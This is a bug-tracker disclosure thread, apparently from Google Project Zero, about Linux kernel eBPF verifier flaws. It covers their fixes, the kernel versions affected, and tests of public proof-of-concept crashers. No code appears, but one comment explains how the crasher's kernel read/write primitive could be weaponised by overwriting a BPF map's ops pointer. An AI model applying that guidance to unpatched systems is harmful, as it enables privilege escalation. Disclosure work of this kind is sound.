Project Member Comment 5 by jannh@google.com, Dec 18
Another small issue: There is an infoleak in the branch pruning logic - the code explicitly permits confusing a pointer into a number (but not the other way around).
Project Member Comment 6 by jannh@google.com, Dec 21
As pointed out by Bruce Leidl at https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c , the incorrect sign extension bug is also exploitable on 4.9.
Project Member Comment 7 by jannh@google.com, Dec 21
Fixes for these issues are currently in the net tree (https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/log/kernel/bpf, up to and including "bpf: fix integer overflows"), but not yet in Linus' tree.

I'm publishing this now because the fixes (and an exploit) are public.
Project Member Comment 8 by jannh@google.com, Dec 21
Labels: -Restrict-View-Commit
Project Member Comment 9 by jannh@google.com, Dec 21
Erm, sorry, comment #6 was a bit imprecise: Bruce Leidl wrote a PoC for 4.13, but as far as I can tell, the issue also applies on lower kernel versions.
I've tried get-rekt-linux-hardened.c on a number of standard kernels from 4.4 to 4.15. I haven't been able to reproduce the privilege escalation. Perhaps it only works for KSPP and linux-hardened kernels, as stated in the source.

On a standard 4.14-rc1 kernel, get-rekt-linux-hardened does nothing ("failed to find sk_rcvtimeo."). If, as root, I set net.core.bpf_jit_enable=1 (which is not the default) then running it twice as non-root causes a kernel panic (but no privilege escalation). crasher_badimm.c causes a panic with net.core.bpf_jit_enable=0. So there's a DoS attack there that would work on a default 4.14 without the fix.
Project Member Comment 11 by jannh@google.com, Dec 22
@bgregg: crasher_badimm constructs a primitive that permits performing reads and writes at arbitrary offsets in kernel memory relative to the BPF map. It then deliberately uses that to cause a crash by accessing a non-canonical address - but if you wanted to use it in an exploit, you could adjust it to access valid addresses instead - for example, you could use a negative offset to access the metadata of a BPF map and swap out the `ops` pointer. While my PoC just crashes the system, the impact is bigger.
Ok, thanks jannh.

So does anyone know exactly which kernels are affected? I've only seen ill effects on 4.14, but people are recommending patching 4.4 onwards.
Ah, found it: https://lwn.net/Articles/742169/ -- one in 4.9, the rest in 4.14. Thanks Jann!

Is crasher_badimm the PoC for 4.9? As non-root, it doesn't work on my 4.9: it errors with "R0 pointer arithmetic prohibited". As root, it does cause a panic (but well, I'm root). I'm guessing it's a real 4.9 eBPF bug, but one that needs root to work. Just understanding scope.
Project Member Comment 14 by jannh@google.com, Jan 17 (6 days ago)
Status: Fixed
Sign in to add a comment